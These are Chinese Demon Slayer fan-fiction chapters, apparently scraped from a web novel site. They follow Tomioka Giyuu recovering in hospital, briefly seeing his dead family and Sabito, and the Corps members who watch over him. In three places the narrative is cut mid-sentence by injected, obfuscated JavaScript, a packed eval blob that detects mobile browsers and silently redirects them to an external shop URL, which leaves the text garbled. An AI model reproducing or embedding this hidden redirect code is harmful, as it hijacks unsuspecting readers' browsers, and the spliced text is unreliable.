“义勇,不用担心我们啊。我们三个现在挺好的,你就好好养伤。等你寿终正寝活到一百岁再来找我们团聚。” 富冈义勇的眼泪止不住地往下流。他安静地哭着,时不时还会啜泣一下。 他想说话,但嗓子好疼。 他想和他们说,我好想你们。 我真的好想你们。 但他说不出来。 嗓子很痛,身体也痛,心脏也开始疼起来。 富冈义勇越哭越凶。 思念像是暴雨天的江水,直接将名为冷静的堤坝冲垮。 他不敢闭眼,担心再次睁眼后三个人就会消失不见。 但眼泪模糊了视线,让他只能拼命地眨着眼。 “不哭不哭,你现在情绪不能激动。” “不对啊,义勇咋忽然能看出来咱们了?不会出啥事了吧。” “屋里的仪器都撤了,他之前也睡得好好的,不应该有啥意外啊。” 富冈义勇的母亲去摸他的头:“也不烫啊。” “妈……”富冈义勇忍着嗓子的疼,还是努力发出了声音。 虚弱而又无力,沙哑得异常,里面充满思念与悲伤,让人一听就心疼。 “……爸……” “……姐……” 三个人的眼眶瞬间就红了。 “嗯。我们在呢。” “义勇,我们在。” “我们一直陪着你呢,义勇。” 三个人轮流摸了摸富冈义勇的脑袋,想要安抚他,只是富冈义勇哭得更厉害了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252666|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“咳……咳……咳!”一阵强烈的咳意泛上来,让富冈义勇咳得脸都有些红起来 病房门直接被推开,几个人立马跑进来。 一个姿势标准地扶起来富冈义勇,轻轻拍着他的后背。 一个拿出来杯子倒上温水。 还有一个眼疾手快,迅速从柜子里拿出来药剂,直接把药液滴进盛着水的杯子里。 等富冈义勇的咳嗽缓下来,端着杯子的队员立马就把杯子放到富冈义勇嘴边。 富冈义勇闻着味道有些熟悉,就直接喝了下去。 喝完以后,他的咳嗽好多了,嗓子也没那么难受了。 扶着他的人放他躺着,其他人把物品各归各位。 这群人一言不发,在离开前对着富冈义勇鞠了个躬以后就直接走了出去。 徒留富冈义勇一个人手足无措。 他双眼无光,眼睛呆滞,完全不知道发生了什么。 他看了看自己病床周围。 家人,看不见了…… 富冈义勇仿佛觉得天塌了,整个人都没了神采。 而在富冈义勇看不见的灵魂世界里,三个人正凑在一起商讨。 “义勇怎么突然就能看见咱们了?” “不是说只有当现世的人心中非常强烈地思念逝去之人的时候,才能与对应的灵魂产生共鸣,这才能够让现世的人短暂地看见灵魂吗?” “都变成灵魂了。哪还有那么多讲究?说不定刚刚义勇就是在很想我们呢。看都哭成啥样子了。我都心疼坏了。” “我这不是怕义勇万一有个啥事。” 富冈茑子想了想,猜测:“这几年义勇放松了很多,这次睡得这么久,是不是做梦了?” “……” “……” “这孩子……这么多年,头一次在梦里梦见咱们吧。” “怎么就这么让人心疼……” “叔叔,阿姨,茑子姐姐,义勇他情况怎么样啊?我刚刚在彼岸看到义勇了。” “什么?!” “义勇跑去彼岸了?!” “对。刚刚我在那边休息,就看到义勇忽然站在彼岸的花丛里。” 四个人面面相觑,陷入了诡异的沉默。 “不会义勇真出啥事了吧?” “咱要不找个老灵魂问问?” 社交小达人锖兔想了想:“那我去找我以前的师兄师姐问问。你们继续看着义勇,我去去就回。” “锖兔这孩子是真能干。” “是啊。是个好孩子。” “不过,爸,妈,你们有没有想过。刚刚义勇去了彼岸,肯定就见到了锖兔。他睡醒哭不是想咱们,是想锖兔了。” “……” “说啥呢。没见你弟后面哭得多凶吗?” 46.第 46 章 人的诞生,先有灵魂后有□□。 彼岸是所有灵魂的安置所,每一朵尚未开放的花里都藏着一个新生的灵魂。 而彼岸的最中间有一条河,下通天堂,上通地狱。 每个灵魂上都记录着他们生前所犯下的罪孽与功绩。 功不抵过,过不抵功。 只有在地狱将罪孽赎尽,才有进天堂的资格,进而转世投生。 可以进入天堂的灵魂,会按顺序进行投生转世。一旦转世,前尘旧缘都将断绝。 但在转世时,根据灵魂所刻功绩的不同,也出现不一样的状态加成,从而将每个灵魂分配到不同的新生。 所谓赏罚分明,善恶有道。 在听完自家师姐的解释后,锖兔有些不可置信:“义勇都这么厉害了?” 被咨询的师姐叫作真菰,比锖兔要大,在富冈义勇被麟龙左近次收养前就在和杀鬼的战斗中牺牲。 真菰头上还挂着鳞泷左近次做的狐狸面具,点点头:“彼岸的河流沟通现世与亡界。如果他还活着,只能是睡梦中仍使用着水之呼吸,加上强烈的情绪,让他接触到了彼岸河水。正常人碰到河水,会看到逝去之人的灵魂。但他将水之呼吸修炼至臻,人即是水,被彼岸河水认为是同类,干脆就把他的现世灵魂带过来了。” “好在你赶紧把他送了过去,不然会出大事。” 水之呼吸,能让人如水一样平静。 修炼至臻者,水即是他,他即是水。 水之无形,遇则聚拢。 阴差阳错之下,富冈义勇就这样进去了亡者的世界。 锖兔感到一阵后怕:“好在我把他丢回去了,不然灵魂脱离□□,义勇不就变成活死人了?” 真菰点头,轻轻说着:“是这样没错。” “说起来,我前些天去看老师,见他又新收了弟子。”真菰和锖兔闲聊。 锖兔知道灶门炭治郎,当年在雪山的时候,他也在附近看着。 “那孩子怎么样?”锖兔问道。 真菰想了想,回答:“似乎有点笨,不过很努力。” 她犹豫了一下,还是说出了自己的猜测:“那孩子的眼睛有些特殊,明明还没有学会呼吸法,但我总觉得如果和他对视上,就会被看到。” 锖兔笑笑:“那不是挺好吗?如果真能看到师姐,你以后过去串门还能和他聊聊天。” 真菰认真地想了想,接受了锖兔的建议。不过亡者不可过多与现世之人接触,她就在旁边悄悄看着吧。 “那师姐,我先走了。我把义勇的事和他家人说一下。”锖兔温柔笑笑,就直接挥手离开了。 富冈义勇的父母和姐姐在得知富冈义勇没事,只是太厉害了以后,都松了口气。 但看到还睁着眼睛出神的富冈义勇,他们又都心疼起来。 他们以前总想着富冈义勇能多想想他们,不要老是压抑自己的情绪。 但或许是人的身体都有保护自己的潜意识,不去回忆过往,既是富冈义勇无法正视过去,也是身体对灵魂的保护。 失去所有牵绊之后的孤寂灵魂,稍不留意,就会被无情的彼岸河水带走。 好在,除了逝去的他们,富冈义勇又有了新的牵绊。 “义勇,听妈妈的话,白天多想想我们。晚上还是要好好睡觉,不能再被彼岸河水拐跑了。” 熟悉的话语出现,让富冈义勇不禁眨眨眼。 思念从未消失过,又在此刻达到了极点。 窗户微微打开着,帘布被轻风吹起,摇摇晃晃。 在破碎的阳光里,富冈义勇又看到了家人和同伴。 他深呼吸了两下,控制着自己的情绪。 锖兔摸着下巴试探:“义勇?听得见吗?” 富冈义勇眨眨眼。 一群人围了过去,但这次他们没敢有多余动作,生怕让富冈义勇再咳嗽起来。 锖兔将自己从真菰打听的消息给富冈义勇说了一遍:“都没做梦这么多年了,就继续别做了。睡觉的时候就安安稳稳地睡,等白天没事的时候,就想想我们。” 富冈义勇乖巧地眨眨眼,忍住再次想要流出来的泪珠。 他微微扬起了嘴角,原来,那一切都不是他的幻听或者幻觉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258677|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但他的笑容瞬间僵住,干脆扁扁嘴,一脸的委屈,带着控诉般看向锖兔。 不是幻觉,那就是锖兔你真的凶我。 锖兔受不了他这个眼神,冷不禁打了个寒颤。他搓了搓手臂:“怎么了?” 富冈义勇现在说不了话,更委屈了。 富冈义勇的母亲试图解读:“觉得锖兔丢下你一个人,所以委屈了?” 富冈义勇连忙摇头,但动作太快,直接把自己摇晕了,只得闭上眼睛缓解眩晕感。 富冈义勇父亲猜测:“之前锖兔踹你踹疼了?” 富冈义勇学乖了,这次只轻轻摇了摇头。 在排除了两个错误答案后,富冈茑子明白了:“是不是觉得锖兔太凶了?” 富冈义勇眼睛瞬间一亮,连眨了好几下眼睛。 锖兔不禁捂脸。 他凶吗? 也就骂过他几次笨蛋,说过他几次认死理,再加刚刚踹了他一脚而已。 锖兔理直气壮,双手叉腰:“也不想想你这么些年都怎么过的。看你把自己越过越苦,我不止想踹你,还想揍你。” 他一向动作快于语言。当年听到富冈义勇自暴自弃的话,也是先扇了他一巴掌才开始解释。这些年看着富冈义勇越过越压抑,有时候是真的想揍他一顿。 富冈义勇眼泪汪汪。 锖兔瞬间没辙,他投降:“好了好了,是我错了。这些年你能撑下来,真的不容易。” 他揉了揉富冈义勇的脑袋:“义勇,你是当之无愧的鬼杀队水柱。以后要好好照顾自己,幸福地活下去。” 不是替谁,而是以自己的身份好好活下去。 富冈义勇将泪珠眨落,轻轻点点头。 他会好好活着,也会当好水柱。 他的身边,已经有了很多人。 在这一番折腾后,富冈义勇又困了起来,迷迷糊糊中就又睡着了。 这一次他记住了锖兔的话。在感受到不属于他的水靠近时,手腕一个挥动,就有无形的刀刃将水流斩断。 这一次,富冈义勇安静地飘在自己的海面上,睡得安详。 47.第 47 章 在富冈义勇睡着以后,门外的队员们彻底不淡定了。 他们远离病房,又找个了不碍事的角落排排蹲。 “水柱大人不会思念过度精神失常吧?” “虽说几位柱的性格各有特色,但咱们也从来没听过水柱大人会对着空气又是眨眼又是摇头的。” “我说你们就是没见识。这个世界都有鬼了,还不准水柱大人能看见点别的了?” “你是说异能?水柱大人他是纯种人类啊。” “笨!不是经常有传言说有人天生阴阳眼,能看见这个世界不存在的事物。水柱大人的眼睛说不定就能看到什么不一样的。而且你想,鬼杀队这么多年没杀过上弦鬼了,说不定水柱大人就是凭这双眼睛找到了鬼的破绽。” “呵!别怪我揍你啊。你这说法,不是和那群说水柱大人德不配位的人一样吗?水柱大人是堂堂正正打败了上弦鬼,就算借助了什么,也是他亲自杀的。这件事不容你瞎说。” “……我扇自己一巴掌,这个嘴就管不住。” “你的嘴要是管不住,以后什么事就不带你了。别忘了,现在为了保护水柱大人,是谁杀死了上弦鬼是不允许宣扬的。” 在和鬼的战斗里,产屋敷耀哉得知了鬼舞辻无惨下令追捕富冈义勇这件事。不过鬼舞辻无惨并不知道富冈义勇的名字,只说这个人穿着一个拼接起来双色羽织,留着黑色长发,不爱说话,还一直冷着脸。 虽然描述确实很符合富冈义勇,但这样的人也不在少数。所以为了保护富冈义勇,产屋敷耀哉就下令让所有人保守秘密。 “这个我知道。保守秘密我的嘴还是很严的。” “不过刚刚的事,咱们怎么记录啊?” “如实记录吧。而且今天的复印件表格咱们亲自给主公送过去。” “啊?还要打扰主公啊?” “刚刚咱们直接就推门就进去,肯定暴露了啊。那不得找主公求庇护。” “有道理,还是你聪明。” 而另一边的产屋敷耀哉非常非常忙,各地的战情报告纷至沓来,他的屋里都快要摆不下送来的信件。 产屋敷辉利哉跟着自己的姐姐和妹妹想要替自己的父亲分忧,主动接了一些任务过来。 产屋敷耀哉原本还不想他们插手,毕竟这些孩子都还小。 但这几个孩子都很坚持。 “父亲,你当年四岁就成为了鬼杀队负责人。我今年已经六岁,可以帮你了。” 产屋敷耀哉摸了摸产屋敷辉利哉的头,将五个孩子都各自抱了抱:“抱歉,这是产屋敷家族的诅咒,让你们这么小就要承担这么多。” 产屋敷雏衣握了握父亲的手,将他看着的文件拿走:“父亲可以看着我们处理,哪里不对,就告诉我们。” 产屋敷耀哉抬手,揉了揉有些胀痛的眉心,温柔笑笑:“好。就交给你们了。” 看见他们有条不紊地处理文件,产屋敷耀哉心里也泛出内疚。他轻叹一声,接受了自家孩子的好意。 只不过他闲不住,现下没事,就翻出来每天蝶屋送来的《水柱大人每日变化记录表》复印件看起来。 上面记录的东西十分详细,呼吸频率、呼吸幅度,还有很长的备注栏,写着富冈义勇什么时候手指动了一下这类的东西。 看着上面越来越好的数据,产屋敷耀哉也忍不住开心。 作为鬼杀队的负责人,他不能偏心,需要公平公正地对待每一个队员。 但在所有人里,产屋敷耀哉不能否认,他对富冈义勇确实有一份偏爱。 沉默寡言,心思纯净,实力强盛,天资傲人。他的身上有很多优点,也存在着一些缺点。也正是这样的他,很容易就让产屋敷耀哉的心绪泛起波澜。 在产屋敷耀哉休息的时候,观察小队的几个人恭敬地来送今天的表格,并如实将自己看到的情况告诉了他。 产屋敷耀哉越听越皱眉。 忽然哭得很凶,又忽然出声,之后又突然眨眼和摇头。 爸爸、妈妈、姐姐,是想自己的家人了? 还是这孩子看到了什么? 产屋敷耀哉有些担心,看了看天音:“天音,你能替我去看看义勇是怎么了吗?” 天音没有拒绝,点点头:“好,我晚点过去看看。” 观察大队的成员之一连忙摆手:“现在水柱大人睡着了,不知道什么时候才会醒。我们过来就是为了向您汇报一下水柱大人的情况。” 产屋敷耀哉的脸上的担忧散了几分,换上温和的笑意:“只是汇报情况,而不是让我想办法不让义勇知道这个表格的事?” 他扬了扬手里的表格。 几个队员嘿嘿一笑:“主公您真聪明。” 产屋敷耀哉失笑着摇头:“义勇是不会在意的。” 心思纯粹的他,只会看到大家对他的关心与呵护。不过或许会疑惑自己为什么会被这么多人轮流观察。 毕竟在义勇看来,他只是再平凡不过的一个人。 “只要你们别拿着这个表格在他面前晃荡,他不会说什么的。”产屋敷耀哉安抚他们。 几个队员眼睛一亮:“真的?那在水柱大人出院前,我们是不是还能继续扒玻璃?” 产屋敷耀哉笑着点头。 “好哎!” “那主公,我们就告辞了。一蝶屋的人都在等着我们消息呢。” “嗯。去吧。” 产屋敷耀哉和天音看着这群活泼的队员走远,脸上都带着浅浅的笑意。 他们无惧战斗,无惧牺牲,却会担忧同伴的责备。 在外面,他们是成熟稳重的鬼杀队队员。 到了蝶屋,也不过是一群没长大的孩子。 “父亲,这里有一份急报,需要你亲自看一眼。” “好,我来了。” 最近的鬼越发猖狂,不少地区都出现了伤亡事件。 无辜的人死去,数不清的家庭破碎,不知道多少孩子变成了孤儿。 这笔账,产屋敷耀哉算得很清楚。 他一定要从鬼舞辻无惨的身上,讨回来。 在富冈义勇养伤的第四个月时,各地的动乱情况终于迎来了回落。 鬼舞辻无惨是一个谨慎又胆怯的人,没有百分百的把握他从不会现身。 而受他控制的鬼对他自然是畏惧大过尊敬,事情装样子做做,糊弄过一段时间,就又会回到平常的样子。 随着任务的减少,伤员也开始减少了。 “呜呜呜呜,我不想走!” “蝶屋的点心真的好好吃!别处都吃不到!” “你们眼神都没有我好,没了我,这个表格可怎么填啊?!” 护士冷冷一笑,一脚一个,将这群扒着大门不肯走的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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在没有遇到珠世小姐以前,我以为心脏痛、呼吸不上来是发烧引起的。但珠世小姐说这和我的心理问题有关系。经过珠世小姐的治疗,我已经很久没难受过了。但在碰到上弦之二前,我经过了一座雪山,碰见了两个人,这种症状就忽然出现了。当时整个人都很不舒服,没有顾及嗓子的问题。 “小忍,你要不问一下珠世小姐,看她有什么见解?”蝴蝶香奈惠问道。 蝴蝶忍对心理学也没有研究,点点头:“在那之前,我先配一种新药喝喝看吧。” 医生仰天长叹她的医术不精,毕竟富冈义勇有这种想法也和她有关系。 富冈义勇翻过本子继续写字,说医生这些年一直很照顾他,又对她表达了谢意。 医生伸手揉了揉他的脑袋:“嗓子的事别担心,交给我们,这几天好好复健。要是嗓子不舒服,就喝小忍给你配的药。” 蝴蝶忍点头:“药先喝着,多少会让你舒服点。等我问过珠世小姐的意见后再来调整药方。” 蝴蝶香奈惠笑得温柔:“说起来,最近大家都渐渐清闲了下来,其他几位柱都说要过来探病,富冈先生的病房看来要热闹起来了。” 富冈义勇眨眨眼,他离痊愈还有很长一段时间。他想到什么,又在本子上写。 之前的特训没时间举办,后面要补办吗?到时候,我能赶得上吗? 蝴蝶香奈惠回答:“主公提过一句特训的事,会给大家一个月的休息时间,到时候再进行新人特训的事。如果富冈先生想要参加,最近就要好好休息,听护士的安排进行复健。” 富冈义勇点点头。 他会尽快好起来的。 48.第 48 章 在能够下地走路后,富冈义勇就开始了复健。只是他现在走路还不稳当,是三个小护士小心搀扶着他,慢慢走到的复健室。 这三个小护士年龄相似,是最近才加入的蝶屋,主要负责复健的项目。 原本没安静过的走廊,变得异常宁静,病房门都关得好好的。 “我说你们至于吗?之前人没醒,一天天又是扒玻璃又是填表的。现在人醒了,就走个路去复健室的功夫,瞧瞧你们这小心翼翼的。还有主公也是,一个名字而已,还让大家处处保密。” “就算他是水柱,也不用跟哄小孩一样看着吧。而且其他柱也不是没来过蝶屋,也没见被这么对待啊。再说了,不就是打败上弦鬼吗?身为柱,这都是他该做的事。你们……” “门关得好好的,他声音没传出去,护士也不在附近,你们放心揍。” “还有刚刚他提到水柱大人名字的事,记得逼问一下。要是他泄漏出去,咱们要及时上报。” “交给我们,放心。” “连鬼都知道名字的重要性,没办法说出鬼舞辻无惨的名字,你这家伙居然还敢质疑主公的决定?时隔一百多年,才有水柱大人斩杀上弦鬼。要是这样还不值得我们护着,那还有谁还愿意再去杀鬼?我看你真是欠揍。” “说!还有谁和你一样这么想的?!水柱大人现在伤都没好,要是名字和位置暴露,你拿命来抵吗?” “还想说什么?来让大家听听。我告诉你,人的命就是有高低之分。你的命就是抵不上水柱大人的,不服我就揍到你服。” “咳,虽然但是,人命分贵贱这句话可不对啊。” “哎呀,你懂我意思就好。” 鬼杀队的队员并非全部都是善良无垢之人,会嫉妒,会嘲弄,也会说风凉话。 有喜欢富冈义勇的,也有单纯凑热闹的,自然更有看不惯富冈义勇被大家关照呵护的。 他们完全理解不了这些队员为什么要去扒玻璃,明明都是病人,这些人居然能一动不动看好久。 这群人搞得富冈义勇成了什么珍稀动物一样,真是放嘴里怕化了,捧手里怕摔了。 在富冈义勇受命水柱之后,鬼杀队里对他的非议虽然少,但一直存在。 如果锖兔还活着,现在的水柱哪里轮得上富冈义勇? 碰见上弦三没打过不说,还需要音柱去救。 这次富冈义勇斩杀童磨,他们的说法就又变了。 就算是杀了上弦鬼又怎么样,还不是没有鬼舞辻无惨的消息。 看着蝶屋的伤员们又是扒玻璃又是装乖的,他们简直无法理解,总觉得这些人的脑子是不是有什么大病。 他们不会在乎富冈义勇的付出,也看不到富冈义勇的功绩,更不理解为什么大部分人都对富冈义勇有着偏爱。 富冈义勇加入鬼杀队已经六年,最开始独行的三年里这些话传不到他的耳里,与人同行的三年虽然多少听到了几句,却从来没在乎过。 他行事一向不求人认同,只求问心无愧。 不过也不是所有人都不在乎的。 就像现在,说风凉话的人就被同病房的人按住狠狠揍了一顿。 但凡扒过玻璃的人,或者和富冈义勇有接触的人,都不会对富冈义勇心生怨怼。 扒玻璃的人会看到护士替富冈义勇清理伤口,他们能看到那白皙的皮肤上,满是大大小小的伤痕,全身上下更是没有一块完全没有伤的地方,胸口甚至还有一道胳膊一样长的伤疤。 在昏迷时,只有紧皱的眉头显示着他的痛苦,平时面无表情的脸卸下了冷峻,只留下像是水面一般安静的睡颜。 为什么大家都爱扒玻璃?因为只要看见这样的富冈义勇,就会心生宁静。 看着富冈义勇一呼一吸,就感觉像是平稳的海面被清风吹动,轻柔的涟漪渐渐晕开。 谁会不爱看这样的场景呢? 不过这些扒玻璃的人确实不敢在富冈义勇醒着的时候凑上去。 平静的海面宁静人心,但会翻滚浪花的大海却让人望而生畏。 但就算不敢靠近,和富冈义勇一起出过任务的人都能感受到他实力的强大以及极强的责任心。 执行任务时他会全程负责,所有的安排都井井有条。就算自己受伤,也会尽可能护着一起行动的队员。 身先士卒,从无怨言。 但凡和富冈义勇一起出过任务的,都不会否认他的水柱之名。 他真的做到了,像水一般无声无息,却又不可或缺。 一个人对另一个人的偏爱,从来不是没有理由的。 情感是互相的,富冈义勇正是用他无言的行动,赢得了大家对他的偏爱。 而对于产屋敷耀哉,他为什么会对富冈义勇产生偏爱,更是显而易见。 有没有及时察觉他心理问题的失职,有派他出去任务却险些害他身亡的自责,更有对富冈义勇强大实力和做事妥当的信任与骄傲。 鬼杀队已经运营千年,从未有哪个时刻,像如今这样存在优势。 柱级队员名义上有九名,实则存在十人。 珠世与鬼杀队联手,研究出可以对抗鬼的药剂。 现下富冈义勇成功斩杀上弦之二,除了证明他的实力,更是证明了鬼杀队与珠世联手合作的正确性。 而且他足够理智和聪明,成功瞒下来药剂的存在。鬼舞辻无惨现下对富冈义勇展开的追杀,更是说明了这一点。 只要药剂能成功研究出来,他们就能杀死鬼舞辻无惨! 可惜,总有些人察觉不到水的无声滋润,只会责怪水的默默无闻。 在富冈义勇来到复健室后,发现这里的规格发生了很多变化。 除了专业的复健设备,还多了很多东西,地方也变大了不少。 富冈义勇疑惑地看向小护士们。 复健室里有专门负责的人,叫小葵,是从一线队员里退下来的,是一名女性。 “富冈先生,复健主要分为三个部分。首先是这三个孩子会帮你缓和因为躺太久而变僵硬的身体。” “第二部分是反射训练,这一项由我和栗花落香奈乎轮流负责。这一项需要两个人分别坐在桌子两边,桌子上摆有茶杯,茶杯里面倒有汤药,两个人要把汤药泼向彼此。但在拿起茶杯之前,要是被对方按住了茶杯的话,就不能移动茶杯了。” “最后一部分是全身训练,直说就是捉迷藏,依旧是我和栗花落香奈乎做对手。不过香奈乎今天休息,所以后面两项今天都会由我和您一起。” 富冈义勇歪头,拿出本子,在上面写字。 我之前做复健的时候,记得并不是这些内容,是变动了吗? 小葵无奈叹气,解释道:“很多人觉得那些复健动作太过无聊枯燥,不愿意做。香奈惠和医生一商量,就把复健训练改成了这种形式。之后这种形式大受欢迎,就这么延续下来了。” 富冈义勇点点头,表示自己明白了。他将本子放在一旁,就准备开始。 “富冈先生,这一项会比较痛,太疼的话可以咬住毛巾。”小护士递给富冈义勇一个毛巾。 复健通常很辛苦,三个小护士见过很多嚎得惊天地泣鬼神的队员,所以这一次她们直接给富冈义勇提前打了预防针。 富冈义勇说不了话,安静地点点头,接过来毛巾,不过并没有咬住。 他之前做过复健,确实会不舒服。但想要恢复状态,这是必须要做的事情。 忍受痛意而已,虽然说来惭愧,但他确实已经习惯了。 三个小护士的柔韧度很高,会帮富冈义勇把各个关节和肌肉都拉伸开。 只是富冈义勇的右肩之前粉碎性骨折,现在还没养好,这次做的只有其他部位的拉伸。 汗珠从脸颊滑落,关节和肌肉的酸痛让他的眉头紧皱。但就算再难受,富冈义勇的表情也没有一丝变化,依旧维持着冷峻。 也是这时候,宇髄天元来探望富冈义勇了。 九柱几乎不停歇地忙了四个月,一直在到处奔波,也就最近才闲下来。 “富冈,脸上的表情可以再生动一点的。”宇髄天元靠在复健室门口的墙上,脸上是华丽的笑容。 富冈义勇不解,为什么复健要表情生动? 三个小护士正好做完一套拉伸的动作,就扶着富冈义勇站起来。 宇髄天元失笑摇头,走过去:“你这张脸的表情万年不变,也难怪不死川和伊黑会看不惯。” 长久不变的冷峻,让其他人看到总会以为他没有什么做不到的,也没有什么能让他心绪紊乱。 这份平静,配上他的强大,让他自带一种傲气。 像是雪山冷泉,圣洁,冰冷,让人不敢靠近。 不死川实弥为了保护自己的家人,和变成鬼的母亲战斗了一夜。他的母亲杀掉了自己的孩子,而到了天亮,不死川实弥也亲手杀了自己的母亲。 自那之后,不死川实弥就一直独行在杀鬼的道路上。也是在开始杀鬼后,他才知道自己的血液是特殊的,会让鬼产生难以抑制的渴求。 他在一个治安不好的地方待过很久,性格也变得暴躁起来。 到后面加入鬼杀队,不死川实弥也和富冈义勇有过合作,但每每看见他这幅表情,就觉得他平等地瞧不起所有人。他虽然觉得他是名副其实的水柱,但一直对富冈义勇没有好感。 不过炼狱杏寿郎曾和不死川实弥单独聊过,告诉他富冈义勇修炼水之呼吸,要时刻保持内心的平静,并没有瞧不起任何人。 也是因此,不死川实弥对富冈义勇有了些许的改观。 而伊黑小芭内对人的情绪很敏锐,他能感受到富冈义勇的平静,也能感受到他眼底藏起的悲伤。 富冈义勇是他的前辈,他的过往经历伊黑小芭内多少听过一点。他很讨厌因为过往经历而沉浸在悲伤里的人,所以一直很尊敬宇髄天元。 宇髄天元出生于忍者家族,是家中的长子,家里的兄弟姐妹算上天元一共九人。 他们的父亲会强迫他们进行严苛的训练,有三个人在十岁之前就因为过于严苛的修业而失去了性命。 而剩下的六个人在父亲的命令下被迫互相残杀,却因为彼此戴着面具遮住脸部,而认不出对方的身份。 宇髄天元一开始也没认出自己的家人,在杀了两个弟弟后才察觉出父亲的计谋——只留下最强的孩子。 他试图说服还存活下来的弟弟,但他却毫无感觉地杀死其余两位兄弟。 手足间的自相残杀,让宇髄天元无法认同,直接带着妻子逃离了他的家族。后来因缘际会之下结识了产屋敷耀哉,便一直为鬼杀队效力。 或许是过去太过压抑,加入鬼杀队后的宇髄天元变得华丽万分。 而这份华丽,也是伊黑小芭内最尊敬宇髄天元的地方。 不因过去而对未来失去希望,伊黑小芭内欣赏这样的人,也同样看不惯会因过往而独自悲伤的人。 毕竟,伊黑小芭内的过往,也同样存在着血与泪。 伊黑小芭内所在的家族靠着一只下半身为巨蛇的女鬼来获取钱财。蛇鬼会杀人,并抢走这些人的财产,然后交给伊黑家族。作为报酬,家族的人会把他们的孩子作为活祭品,献给这只爱吃婴儿的蛇鬼。 伊黑小芭内天生异瞳,又是家族中罕见的男孩,所以蛇鬼对他很感兴趣,想要把他养大后再杀掉享用。 他一直被关在牢房里,家人会对他说着肉麻的话,送来美味的食物,但牢房阴森,还没有窗户,饭菜的香气只会让伊黑小芭内难受得反胃。直到他年满12岁,才第一次被拽出牢房,看到了那个蛇鬼。 蛇鬼很喜欢伊黑小芭内,并不想就这么吃掉他,还想把他再养大一点。作为宠爱,蛇鬼命人割开了伊黑小芭内的嘴,让他拥有了和自己一样的美貌,甚至就着伤口,喝下了他的血。 再次被丢回牢里的伊黑小芭内满心只有逃跑和求生,他信不过任何人,只有迷路爬进牢里的小蛇镝丸是他能唯一信任的。 在伊黑小芭内日复一日的努力下,他终于成功逃出了牢房。但蛇鬼也发现他的行踪,很快便追了过来。好在当时尚未辞职的炼狱槙寿郎及时赶到,斩杀了蛇鬼,成功救下了伊黑小芭内。 作为供奉蛇鬼的家族,伊黑小芭内的出逃让蛇鬼杀死了家族的不少人。而唯一的幸存者是他的表姐,而在两个人见面时,这位表姐对伊黑小芭内只有满心的指责。 是他害死了家人。 伊黑小芭内无法辩解,将这份罪孽背负在身上,又化作憎恨,投入到杀鬼里。 但就像炼狱杏寿郎说的那样,不死川实弥和富冈义勇某些地方很像,而伊黑小芭内也有某些地方和富冈义勇很像。 只不过,对伊黑小芭内来说,家人的惨死是被欲.望裹挟。 而对富冈义勇来说,家人的逝去源于爱和关怀。 他们都背负着过往,一个选择了向前,一个选择了遗忘。 当然,现在的富冈义勇已经比之前好很多了。但就算这样,伊黑小芭内也有些看不惯他。毕竟在他看来,富冈义勇依旧没有走出过去的阴霾。 “说起来,富冈,你这小子也不知道是幸运还是不幸,各地的鬼都在暴动,但偏偏没有一个人碰到上弦鬼。我就职音柱多年,也就听说了你一个人碰见了两次上弦鬼。”宇髄天元就地坐下来,看着富冈义勇乖乖喝药。 富冈义勇的嗓子还有些严重,几乎每过一段时间就要喝药。 听到宇髄天元的话,富冈义勇想了想,拿过本子,在上面写起来。 上弦鬼多狡诈,或许在谋划着什么,你们执行任务时万事小心。 宇髄天元失笑着摇头,对他抓重点的能力不抱期望。 上弦鬼存活千年,对自身的安危最是看中。富冈义勇斩杀了上弦之二,足以让这些鬼忌惮。如同鬼舞辻无惨的胆小与谨慎,这些上弦鬼也不遑多让。 或许他们的确在谋划什么,但那一定是想找出富冈义勇身上存在的秘密。 这小子对自己的安危还是这么不看重啊。 算了,总归他的伤还没好,现在只要在蝶屋好好待着养伤就是。 宇髄天元这次来探病带了妻子煮得热汤,他提前问过蝴蝶香奈惠,都是富冈义勇可以喝的东西。 “汤我直接放到了厨房保温,一会复健累了可以让护士拿给你喝。”宇髄天元揉了揉富冈义勇的脑袋,看着他卸下那份冷峻,华丽地笑了笑。 宇髄天元没在富冈义勇这边待太久,见他精神不错,除了不能说话、肩膀也没好以外,基本没什么事,也就安下了心。 只要人还好好活着就好。 等宇髄天元走后,富冈义勇开始了反应力的训练。 他的脑子能跟上的,但左手的行动却完全跟不上,要迟缓很多。 小葵陪富冈义勇复健的时候也没多想,照习惯就直接对着富冈义勇的脸泼了上去。 但她看到富冈义勇脸上一闪而过的失落和不服输后,就有些于心不忍了。毕竟她能看出来,富冈义勇是因为昏迷太久,身体还僵硬着才没有按住她的手。而且他的右肩还动不了,只能用左手和她比试。 就在小葵犹豫要不要放放水的时候,富冈义勇擦了擦眼睛上的汤药,一脸认真地看着她。 水蓝色的眼眸纯净,深邃如大海,没有半分杂质。 要全力以赴,方能不辜负面前之人的信任。 小葵点点头,没有再想放水的事情。 又是好几轮的比试,富冈义勇却都没赢下小葵。他抿了抿唇,隐隐表现出一丝不开心。 小葵本想出声安慰,却见富冈义勇已经调整好情绪。不过眨眼的功夫,他就恢复了往常的平静。 